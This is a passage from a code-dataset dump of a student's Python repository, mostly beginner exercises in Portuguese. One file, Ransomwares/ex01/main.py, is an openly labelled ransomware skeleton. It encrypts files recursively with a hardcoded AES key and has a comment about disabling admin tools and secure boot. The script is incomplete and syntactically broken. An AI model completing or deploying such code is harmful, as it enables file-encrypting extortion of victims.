0.6487455368041992, "avg_line_length": 30.05555534362793, "blob_id": "da1ddb4f5be4173a40c3caa7ff0c2d5aea51c330", "content_id": "7ac75d98a45dede516612b63361b12d93bfabf89", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 561, "license_type": "permissive", "max_line_length": 132, "num_lines": 18, "path": "/Curso-Em-Video/M3/ex91.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from random import randint\nfrom time import sleep\nfrom operator import itemgetter\njogo = {'Jogador1': randint(1,6),\n 'Jogador2': randint(1,6),\n 'Jogador3': randint(1,6),\n 'Jogador4': randint(1,6)}\nrankng = []\n\nprint('Valores sorteados:')\nfor k, v in jogo.items():\n print(f'{k} tirou {v} no dado.')\n sleep(1)\nrankng = sorted(jogo.items(), key=itemgetter(1), reverse=True)# usa a função itemgeter para pegar os valores das chavers e ordenalos\n\nfor i, v in enumerate(rankng):\n print(f'{i+1}º Lugar: {v[0]} com {v[1]}')\n sleep(1)" }, { "alpha_fraction": 0.5796610116958618, "alphanum_fraction": 0.5864406824111938, "avg_line_length": 20.14285659790039, "blob_id": "bc54b95eb210958498e8cb556b047f98ed51c156", "content_id": "83b20f33d5ed02859bd84d2888b70a13c97e5af2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 296, "license_type": "permissive", "max_line_length": 60, "num_lines": 14, "path": "/Curso-Em-Video/M3/ex103.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def ficha(name='<Desconhecido>',ng=0):\n print(f'O jogador {name} fez {ng} gol(s) no campeonato')\n\n\nn = str(input('Digite o nome do jogador: '))\ng = str(input('Digite o número de gols: '))\nif g.isnumeric():\n g = int(g)\nelse:\n g = 0\nif n.strip() =='':\n ficha(ng=g)\nelse:\n ficha(n,g)" }, { "alpha_fraction": 0.5839999914169312, "alphanum_fraction": 0.6259999871253967, "avg_line_length": 26.77777862548828, "blob_id": "d5d4816bb5c17e27dbd972807ce8871e24f1e28e", "content_id": "db68960733394e037dabc5d054061adb23440f55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 511, "license_type": "permissive", "max_line_length": 44, "num_lines": 18, "path": "/Curso-Em-Video/M2/ex43.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom math import pow\naltu = float(input('Digite a sua altura: '))\npeso = float(input('Digite o seu peso: '))\nimc =(peso/pow(altu,2))\n\nprint(f'seu IMC é {imc:.2f}')\n\nif imc < 18.5:\n print('Você está abaixo do peso!')\nelif imc > 18.5 and imc<26:\n print('Você está no peso ideal!')\nelif imc > 25 and imc < 31:\n print('Você está com sobre peso!')\nelif imc > 30 and imc < 41:\n print('Você está com obesidade!')\nelif imc > 40:\n print('Você está com obes morbida!!!')\n" }, { "alpha_fraction": 0.6119999885559082, "alphanum_fraction": 0.6480000019073486, "avg_line_length": 21.727272033691406, "blob_id": "7e954ca620d83faedb8f0b081d9480825fedf73c", "content_id": "73221ce609b8168e50c00ad39ed28d11c4433725", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 250, "license_type": "permissive", "max_line_length": 34, "num_lines": 11, "path": "/Curso-Em-Video/M1/ex20.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\n\nn1 =str(input('Primeiro aluno: '))\nn2 =str(input('Segundo aluno: '))\nn3 =str(input('Terceiro aluno: '))\nn4 =str(input('Quarto aluno: '))\n\nlista = [n1,n2,n3,n4]\nrandom.shuffle(lista)\nprint(f'Nova ordem:{lista}')\n" }, { "alpha_fraction": 0.5744680762290955, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 25.11111068725586, "blob_id": "d2136706d0de8929672434c57cb9057a680f173c", "content_id": "be767d39d76f4940acc397c953f19465dfbb59e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 238, "license_type": "permissive", "max_line_length": 62, "num_lines": 9, "path": "/Curso-Em-Video/M3/ex96.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def controle(x,y):\n c = x * y\n print(f'A área de um terreno {x:.1f}X{y:.1f} é {c:.1f}m²')\n\nprint('Controle de Terrenos')\nprint('-'*30)\nlar = float(input('LARGURA (m): '))\ncon = float(input('COMPRIMENTO (m): '))\ncontrole(lar,con)\n" }, { "alpha_fraction": 0.5932835936546326, "alphanum_fraction": 0.6194030046463013, "avg_line_length": 28.83333396911621, "blob_id": "e01fccdb2268fb2043b032481c8dc4b15e95ca8c", "content_id": "ddf735b1e831f96eea9a66ebb7d16e5170950922", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 539, "license_type": "permissive", "max_line_length": 85, "num_lines": 18, "path": "/Curso-Em-Video/M3/ex101.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "from datetime import datetime\ndef voto_calc(idade):\n voto = ''\n if idade >16 and idade <18 or idade > 70:\n voto = 'VOTO NÂO OBRIGATORIO!'\n elif idade < 70 and idade > 18:\n voto = 'VOTO OBRIGATÓRIO!'\n elif idade < 16:\n voto = 'NÂO VOTA!'\n return voto\n\ndef calc_idade(nasc):\n now = datetime.now().year\n idade = now - nasc\n return idade\nprint('~'*30)\nano_nasc = int(input('Digite o seu ano de nascimento: '))\nprint(f'Com {calc_idade(ano_nasc)} anos de idade: {voto_calc(calc_idade(ano_nasc))}')" }, { "alpha_fraction": 0.5501222610473633, "alphanum_fraction": 0.5721271634101868, "avg_line_length": 24.5625, "blob_id": "446a03630d024818f5b9234549f04ab7fe49aa43", "content_id": "f60bdd70ff9ea1ec56611627675e075dbaa67d96", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "permissive", "max_line_length": 66, "num_lines": 16, "path": "/Curso-Em-Video/M2/ex62.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\na1 =int(input('Digite o primeiro termo da PA: '))\nr =int(input('Digite a razão: '))\ntermo = a1\ncont = 1\ntotal =0\nmais = 10\nwhile mais != 0:\n total = total + mais\n while cont<= total:\n print(f'{termo} => ', end=' ')\n termo += r\n cont +=1\n mais = int(input('\\nDeseja mostrar quantos termos a mais? '))\nprint(f'Total de termos usados {total}')\nprint('fim')\n" }, { "alpha_fraction": 0.5854341983795166, "alphanum_fraction": 0.6218487620353699, "avg_line_length": 22.799999237060547, "blob_id": "130ef56bd37b771d910f53a95883760d1719ab73", "content_id": "d54e412f07ca38ff1b69caeeef135fbb618f21ee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 357, "license_type": "permissive", "max_line_length": 48, "num_lines": 15, "path": "/Curso-Em-Video/M2/ex41.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nidade = int(input('Digite a idade do atleta: '))\n\nif idade <= 9:\n print('Atleta mirim')\nelif idade > 9 and idade < 14:\n print('Atleta infantil')\nelif idade > 14 and idade < 19:\n print('Atleta junior')\nelif idade ==20:\n print('Atleta senior')\nelif idade > 20:\n print('Atleta master')\nelse:\n print('Idade invalida!')\n" }, { "alpha_fraction": 0.6491228342056274, "alphanum_fraction": 0.6608186960220337, "avg_line_length": 23.428571701049805, "blob_id": "859e0b23bfdc335c195030242a65a071875563d1", "content_id": "be8bcbfb746eab13cf38a1bca8cfb6bd07278c2a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "permissive", "max_line_length": 47, "num_lines": 7, "path": "/Curso-Em-Video/M1/ex22.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nnome = str(input('Digite seu nome completo: '))\nprint(nome.upper())\nprint(nome.lower())\nprint(len(nome))\nsepara=nome.split()\nprint(len(separa[0]))\n" }, { "alpha_fraction": 0.6192411780357361, "alphanum_fraction": 0.6537940502166748, "avg_line_length": 24.44827651977539, "blob_id": "794b89eb89dc6b644b325ecb71ae75081c35208d", "content_id": "da839f1fdbd7d9db8aa9250b95408597e8e6c543", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1480, "license_type": "permissive", "max_line_length": 113, "num_lines": 58, "path": "/Ransomwares/ex01/main.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3.7\n#-8- coding: utf-8 -*-\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Counter\nimport argparse\nimport os\nimport discovery\nimport crypter\n\n# A senha pode ter os seguintes tamanhos :\n# 128/192/256 bits - \nHARDCODE_KEY = '10101010101010101010101010101010'\n\ndef get_parser():\n parser = argparse.ArgumentParser(description=\"hackwareCrypter\")\n\n parser.add_argument('-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true')\n\n return parser\n\ndef main():\n parser = get_parser()\n\n args= vars(parser.parse_args())\n decrypt = args['decrypt']\n\n if decrypt:\n print('Seus arquivos foram criptografados {}'.format(HARDCODE_KEY))\n key = input('Digite a sua senha> ')\n else:\n if HARDCODE_KEY:\n key = HARDCODE_KEY\n\n\n ctr = Counter.new(128)\n crypt = AES.new(key, AES.MODE_CTR, counter=ctr)\n\n if not decrypt:\n crytoFn = crypt.encrypt\n else:\n crytoFn = crypt.decrypt\n\n init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))\n startDirs = [/]\n\n for currentDir in startDirs:\n for filename in discovery.discover(currentDir):\n crypter.change_files(filename, crytoFn)\n\n# Limpa a chave de ciptografia da memoria\n for _ in range(100):\n pass\n\n if not decrypt:\n pass\n# Após a encriptação, você pode alterar o wallpaper, os icones, deativoa o regedit, admins, bios secure boot, etc\nif __name__ =='__main__':\n main()\n" }, { "alpha_fraction": 0.7767935991287231, "alphanum_fraction": 0.7812223434448242, "avg_line_length": 50.3636360168457, "blob_id": "8424be26b7014bc0ba8954238fe572a2651f9805", "content_id": "2f264de5510aa8ac34b5500481b46b742b4211d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1196, "license_type": "permissive", "max_line_length": 121, "num_lines": 22, "path": "/curso_monitoria/continue.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "#Continue\n'''\nA instrução break e a instrução continue são ferramentas das estruturas de repetição permitindo a interrupção de um único\n ciclo ou do laço de repetição. É importante saber distinguir ambas instruções, por exemplo, a instrução break interrompe\n não somente o ciclo em execução, mas sim, todo o laço, enquanto que a instrução continue finaliza um único laço, fazendo\n com que o Cursor de execução vá para o cabeçalho da estrutura de repetição.\n\nEntão, nunca é demais repetir que instrução contine interrompe somente o ciclo que está sendo executado fazendo com que\no cursor de execução retorne ao cabeçalho da estrutura de repetição para dar início a execução do ciclo seguinte.\n\nCaso não conheças a instrução break para a interrupção de laços, é interessante que o faça! E também, se houver dúvidas\nsobre as estrutruras de repetição, estude a aula em que tratamos sobre as mesmas.\n\nNo código abaixo construimos um simples exemplo com o único propósito de demonstrar a interrupção da execução de um único\nciclo com a instruçao continue.\n'''\nx = 0\nwhile(x <= 10):\n x+=1\n if(x % 2):\n continue\n print(x)" }, { "alpha_fraction": 0.582524299621582, "alphanum_fraction": 0.5873786211013794, "avg_line_length": 28.428571701049805, "blob_id": "7587dad095018a28a56c376a789a0e2dc487d693", "content_id": "8cd873e4816ea9dbdb8aa367451e6daa45894a79", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 213, "license_type": "permissive", "max_line_length": 79, "num_lines": 7, "path": "/Curso-Em-Video/M1/condicoes.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n * if <condição>:\n ->se a condição for atendida o bloco sera execultado.\n *else:\n -> caso a condição não seja atendida se executa o bloco abaixo de else.\n\"\"\"\n" }, { "alpha_fraction": 0.5268022418022156, "alphanum_fraction": 0.5471349358558655, "avg_line_length": 20.600000381469727, "blob_id": "8adecb824b4dfb2e40089f19c5f56cb658e9ebfd", "content_id": "16247491cd1107c5316053fd789d113e5ff30ac7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 543, "license_type": "permissive", "max_line_length": 52, "num_lines": 25, "path": "/Curso-Em-Video/M3/ex88.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom random import randint\nfrom time import sleep\nlis = list()\ncont = 0\ngames = []\namg = int(input('Quantos jogos você deseja fazer?'))\ntot = 0\nwhile tot <= amg:\n cont = 0\n while True:\n num = randint(1,60)\n if num not in lis:\n lis.append(num)\n cont +=1\n if cont>=6:\n break\n lis.sort()\n games.append(lis[:])\n lis.clear()\n tot +=1\nprint(f'Os números sorteados foram: {lis}')\nfor i, l in enumerate(games):\n print(f'games {i}:{l}')\n sleep(1)\n\n" }, { "alpha_fraction": 0.5677680373191833, "alphanum_fraction": 0.5758597254753113, "avg_line_length": 43.93939208984375, "blob_id": "712f818f6a0c52efee1996afd7152d91fcb674ba", "content_id": "da9f0feba6e84fa26313759dcbbecd80a117b0bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1495, "license_type": "permissive", "max_line_length": 98, "num_lines": 33, "path": "/Curso-Em-Video/M3/tuplas.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nTuplas são variaveis compostas imutaveis, que iniciadas com ()\n ex: lanche = ['pudin', 'pizza', 'suco','sanduiche']\n\n * os metodos de fatiamentos usados em strings podem ser usados em tuplas ex:\n -> print(lanche[1:]) -> comece do suco até o fim da tupla\n 'pizza', 'suco','sanduiche'\n -> print(lanche[0:2]) -> vai so do zero até o 1 (o ultimo sempre é ignorado no python)\n 'pudin', 'pizza'\n -> print(lanche[2]) -> mostra o segundo elemento da tupla\n 'suco'\n -> len(lanche)-> mostra o comprimento da tupla.\n -> podemos somar tuplas.\n -> count(x) mostra quantos vezes 'x' aparece na tupla\n -> lanche.index(x) -> mostra a posição de 'x'.\n -> del(x) -> deleta uma tupla inteira.\n *Podemos usar as tuplas em estruturas de repetição.\n |for c in lanche:|\n ex: | print (c)i |-> para cada comida em lanche ele irá mostrar uma comida de cada vez\n | |\n * Além do for podemos utilizar o enumerate para capta o conteudo e a posição.\n ex: for posicao,comida in enumerate(lanche)\n\"\"\"\n#--------------------------TESTES------------------------------------------\nlanche = ('sanduiche','suco','Pizza','pudim')\n#print(lanche)\n#print(lanche[1])\n#print(lanche[-2]) -> mostra o sengundo da direita para a esquerda\n#print(lanche[1:3])\n#print(lanche[:2])\n#print(lanche[-3:])\n#print(sorted(lanche)) -> mostra na ordem\n" }, { "alpha_fraction": 0.4808429181575775, "alphanum_fraction": 0.5191571116447449, "avg_line_length": 20.75, "blob_id": "5180df8aca04e3c317815d2368f891c5c1d83537", "content_id": "7482fa23f342e3dbef348734e074deafbf192e7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 522, "license_type": "permissive", "max_line_length": 49, "num_lines": 24, "path": "/Curso-Em-Video/M2/ex71.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nprint('-------Banco-------')\nvalor = int(input('Digite quanto quer sacar: '))\ntotal = valor\ncin = 50\ntotdez = 0\ntotum = 0\ntotcin= 0\nwhile True:\n if total >= 50:\n total -= 50\n totcin +=1\n if total >= 10:\n total -= 10\n totdez +=1\n if total >= 1:\n total -=1\n totum +=1\n if total ==0:\n break\nprint(f'\\n O total de cedulas utilizadas foram: '\n f'\\n {totcin} de cinquenta reais'\n f'\\n {totdez} de dez reais'\n f'\\n {totum} de um real')\n" }, { "alpha_fraction": 0.661577582359314, "alphanum_fraction": 0.6715436577796936, "avg_line_length": 47.132652282714844, "blob_id": "db08b035bd1f223438d6ec0db49d216d2d7f90ad", "content_id": "abe1eabb64d512d9c4c303631e11b9cbab515be5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4761, "license_type": "permissive", "max_line_length": 117, "num_lines": 98, "path": "/Paradigmas_Program/aula04.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\" CEUB - Bacharelado em Ciência da Computação - Prof. Barbosa\nTeclas de atalho: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha.\n\n- Implemente as classes necessárias para realizar a manutenção de um cliente.\nPrecisamos trabalhar com as seguintes características de cliente:\nNome, idade e seus endereços, ou seja, cada cliente pode ter mais de um endereço.\n\n- Implemente:\n1- Crie a classe Cliente com os atributos nome, idade e endereços\n- Crie os métodos gets\n- Crie um objeto da classe Cliente, teste\n- Crie a classe Endereco com os atributos cidade e estado\n5- Crie os métodos gets\n- Insira um endereço para o cliente:\n Na classe Cliente, crie o método insere_endereco, ele recebe duas strings e cria o objeto da classe Endereco, teste\n- Na classe Cliente, crie o método mostra_enderecos, teste\n- Crie mais um cliente e insira dois endereços pra ele, teste\n- Na classe Cliente, crie o método insere_endereco2, ele recebe um objeto da classe Endereco, teste\n10- Crie o método mostra_enderecos2 para Melhorar o layout do método , antes de mostrar\n todos os endereços, ele deve mostrar também o nome do cliente, teste.\n- Chame o método mostra_enderecos antes de inserir os endereços, ou seja, no início do método main.\n Se não tiver endereços cadastrados, mostre a mensagem \"Cliente não tem endereço cadastrado\".\n12- Crie um método para remover um endereço de um cliente, teste.\n13- Altere o endereço de um cliente, ele continua no mesmo estado, mas mudou de cidade, teste.\n\"\"\"\n\n\nclass Cliente: # class Cliente(object): # Nome de classe no singular, pois é um modelo\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n self.enderecos = [] # Nome de lista no plural, pode ter vários conteúdos\n def get_nome(self):\n return self.nome\n def get_idade(self):\n return self.idade\n def insere_endereco(self, cidade, estado): # Recebe duas strings\n o_endereco = Endereco(cidade, estado) # Chama o construtor da classe Endereco\n self.enderecos.append(o_endereco)\n # self.enderecos.append(Endereco(cidade, estado)) # Equivalente as duas anteriores\n def mostra_enderecos(self):\n print(f'- Endereços do cliente:')\n for o_endereco in self.enderecos: # Percorre a lista self.enderecos\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def insere_endereco2(self, o_endereco): # Recebe um objeto da classe Endereco\n self.enderecos.append(o_endereco)\n def mostra_enderecos2(self):\n print(f'- Endereços do cliente {self.nome}')\n for o_endereco in self.enderecos:\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def mostra_enderecos3(self):\n if self.enderecos == []: # if len(self.enderecos) == 0: # if not self.enderecos:\n print(\"Cliente não tem endereço cadastrado\")\n else:\n print(f'- Endereços do cliente {self.nome}')\n for o_endereco in self.enderecos:\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def remove_endereco(self, o_endereco):\n self.enderecos.remove(o_endereco)\n\n\nclass Endereco(object):\n def __init__(self, cidade, estado):\n self.cidade = cidade\n self.estado = estado\n\n def get_cidade(self):\n return self.cidade\n\n def get_estado(self):\n return self.estado\n\n\nif __name__ == '__main__':\n cliente1 = Cliente('Luis', 32) # Chama o construtor (__init__) da classe Cliente\n print('- Nome:', cliente1.get_nome())\n print('Idade:', cliente1.get_idade())\n cliente1.mostra_enderecos3()\n cliente1.insere_endereco('Belo Horizonte', 'MG')\n print('- Nome:', cliente1.get_nome())\n cliente1.mostra_enderecos()\n cliente2 = Cliente('Maria', 44)\n cliente2.insere_endereco('Salvador', 'BA')\n cliente2.insere_endereco('Rio de Janeiro', 'RJ') # Chama o método passando duas strings\n print('- Nome:', cliente2.get_nome())\n cliente2.mostra_enderecos()\n endereco = Endereco('Brasília', 'DF') # Chama o construtor (__init__) da classe Endereco\n cliente2.insere_endereco2(endereco) # Chama o método passando um objeto\n print('- Nome:', cliente2.get_nome())\n cliente2.mostra_enderecos()\n cliente2.mostra_enderecos2() # Equivalente as duas linhas anteriores\n # Cria o cliente 3\n cliente3 = Cliente('João', 19)\n cliente3.insere_endereco('São Paulo', 'SP')\n print('- Nome:', cliente3.get_nome())\n cliente3.mostra_enderecos()\n cliente3.mostra_enderecos2() # Equivalente as duas linhas anteriores\n cliente2.remove_endereco(endereco)" }, { "alpha_fraction": 0.5860273838043213, "alphanum_fraction": 0.6200000047683716, "avg_line_length": 44.074073791503906, "blob_id": "9f67d565658f49607f2dce62d54d1e6efd102971", "content_id": "c859a1e590213e633fcf6485b2eca06e2359bd32", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3679, "license_type": "permissive", "max_line_length": 114, "num_lines": 81, "path": "/Paradigmas_Program/aula01.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Valor default\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\n\nImplemente:\n1- Crie a classe Conta com os atributos numero, nome_cliente, saldo, limite.\n- Crie os métodos gets e sets.\n- Crie um objeto da classe Conta passando os dados\n- Mostre o endereço do objeto conta criado\n5- Consulte e mostre os dados da conta\n6- Altere o nome do cliente do objeto Conta, teste.\n- Faça um depósito, teste.\n8- Faça um saque, teste.\n- Faça uma transferência, teste.\n10- Consulte um extrato com os dados: nome, número e saldo da conta\n- Use o método __class__ no objeto cliente\n- Use o método __class__.__name__ no objeto cliente\n- Mostre os atributos do objeto cliente com o método __dict__\n14- Mostre os atributos do objeto cliente com o método vars \"\"\"\nclass Conta:\n def __init__(self, numero, nome_cliente, saldo, limite=1000.0):\n self.numero = numero\n self.titular = nome_cliente\n self.saldo = saldo\n self.limite = limite\n def get_titular(self):\n return self.titular\n def set_titular(self, nome):\n self.titular = nome\n def get_saldo(self):\n return self.saldo\n def get_numero(self):\n return self.numero\n def deposito(self, valor):\n self.saldo += valor # self.saldo = self.saldo + valor\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n return True\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n return True\n def extrato(self):\n # print(\"Extrato:\\nNome: {}, Número: {}, Saldo: {}\".format(self.titular, self.numero, self.saldo))\n print(f\"Extrato:\\nNome: {self.titular}, Número: {self.numero}, Saldo: {self.saldo}\")\nif __name__ == '__main__': # mai <tab>\n conta1 = Conta('123-4', 'João', 1200.0, 1000.0) # Chama o contrutor (__init__)\n print(conta1)\n # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\n print('Nome:', conta1.get_titular()) # Consulta nome_objeto.nome_metodo()\n print('Número:', conta1.get_numero())\n conta1.set_titular('Ana') # Altera o nome do cliente\n print('Nome:', conta1.get_titular())\n conta1.deposito(200)\n print('Saldo:', conta1.get_saldo())\n conta1.saque(100)\n print('Saldo:', conta1.get_saldo())\n conta2 = Conta('923-4', 'Ailton', 2000.0, 1000.0) # Chama o contrutor (__init__)\n print(conta1)\n conta1.transfere_para(conta2, 200) # Transferência da conta1 para a conta2\n conta1.transfere_para(conta2, 4000) # Transferência da conta1 para a conta2\n conta1.extrato()\n conta2.extrato()\n print('Método especiais:')\n print(conta1.__class__) # <class '__nain__.Conta'>\n print(conta1.__class__.__name__) # Conta\n print(conta1.__dict__) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}\n print(vars(conta1)) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}" }, { "alpha_fraction": 0.4552238881587982, "alphanum_fraction": 0.5268656611442566, "avg_line_length": 34.26315689086914, "blob_id": "2703f371964aeeadd003c90a367e9084ab4cda38", "content_id": "2f967e381cf2a87d0cdfa172f4959d9d0d1d0918", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 674, "license_type": "permissive", "max_line_length": 116, "num_lines": 19, "path": "/Curso-Em-Video/M3/ex76.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nlistagem = ('lapis',1.75,\n 'Borracha',2,\n 'Caderno',15.90,\n 'Estojo',25,\n 'Transferidor',4.20,\n 'Compasso',9.99,\n 'Mochila',120.32,\n 'Caneta',22.30,\n 'Livro',34.90)\nprint('-' * 40)\nprint(f'{\"LISTAGEM DE PREÇOS\":^40}')\nprint(f'-' * 40)\nfor pos in range(0,len(listagem)):\n if pos % 2 ==0: #veja a tupla a cima e perceba que o nome dos produtos estão sempre em posições pares\n print(f'{listagem[pos]:.<30}', end='')# '.<30' -> alinhado a esquerda com 30 caracteres ocupados com pontos \n else:\n print(f'R${listagem[pos]:>7}')\nprint('-' * 40)\n" }, { "alpha_fraction": 0.5183486342430115, "alphanum_fraction": 0.5481651425361633, "avg_line_length": 32.53845977783203, "blob_id": "8f8e209d67ed56caa0d1519542c75913bbafda79", "content_id": "1c8b1f44e167dd35b92226b9697c6d032c22daa5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 440, "license_type": "permissive", "max_line_length": 79, "num_lines": 13, "path": "/Curso-Em-Video/M3/ex72.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ncont = ('zero','Um','Dois','Três','Quatro','Cinco','Seis','Sete','Oito','Nove',\n 'Dez','Onze','Doze','Treze','Quatorze','Quinze','Dezenove','Vinte')\n\nn = int(input('Digite um número de 0 a 20: '))\n\nif n > 20:\n while n>20:\n n = int(input('Por favor digite apenas números de 0 a 20'))\nif n <= 20:\n for posi,ext in enumerate(cont):\n if posi == n:\n print(f'Você digitou {ext}')\n" }, { "alpha_fraction": 0.604938268661499, "alphanum_fraction": 0.6327160596847534, "avg_line_length": 35, "blob_id": "1aa1dcd09661ca61ebb5a841adfb7bee1ac162f8", "content_id": "88bf50c7564d98864ad01d5f1d15887aa2eb94a8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "permissive", "max_line_length": 111, "num_lines": 9, "path": "/Curso-Em-Video/M1/ex29.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvel = int(input('Qual foi a velocidade registrada? '))\nlim = 80\nif vel < 80:\n print(f'Ele estava a {vel}Km/h e não ultrapassou o limite.')\nelse:\n vel2= vel - lim\n multa= vel2 * 7\n print(f'Ele estava a {vel}Km/h a {vel2}Km/h acima do limite, portanto deve pagar uma multa de R${multa} ')\n" }, { "alpha_fraction": 0.5235849022865295, "alphanum_fraction": 0.5825471878051758, "avg_line_length": 23.882352828979492, "blob_id": "1f4a96a35432b269488c178340325a8a9f63c9fa", "content_id": "ecf17b141e2e4375a960bdb96019fa6fdc95cebc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 430, "license_type": "permissive", "max_line_length": 44, "num_lines": 17, "path": "/Curso-Em-Video/M1/ex33.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn1 = int(input('Digite o primeiro valor: '))\nn2 = int(input('Digite o segundo valor: '))\nn3 = int(input('Digite o terceiro valor: '))\n\nmaior = 0\nmenor =99999\n\nif (n1 > n2) and (n1 > n3):\n maior = n1\n print(f'O maior número é {maior}')\nif(n2 > n1) and(n2> n3):\n maior = n2\n print(f'O maior número é {maior}')\nif (n3 > n2)and(n3 >n1):\n maior = n3\n print(f'O maior número é {maior}')\n\n" }, { "alpha_fraction": 0.6131687164306641, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 33.71428680419922, "blob_id": "ee64d975bffef4909cdb0e8eecf416450b355dd6", "content_id": "90155e94967a5fb019acb581edd8c9ce22cb5a51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "permissive", "max_line_length": 101, "num_lines": 7, "path": "/Curso-Em-Video/M1/ex18.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport math\nn = float(input('Digite o ângulo que você deseja: '))\ncos =math.cos(n)\nsen =math.sin(n)\ntan =math.tan(n)\nprint(f' O ângulo de {n}º tem o SENO: {sen:.2f}\\n e o COSSENO {cos:.2f}\\n e a tângente de {tan:.2f}')\n" }, { "alpha_fraction": 0.4268292784690857, "alphanum_fraction": 0.4695121943950653, "avg_line_length": 11.615385055541992, "blob_id": "bb9f9a5b64a473adb5365e8bcf3ae54dc562b25f", "content_id": "c5d7f6fc9701bd415c2709a24a9015da6b71db99", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "permissive", "max_line_length": 17, "num_lines": 13, "path": "/curso_monitoria/continue2.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "print()\nprint(\"inicio\")\ni = 0\nwhile(i<10):\n i += 1\n 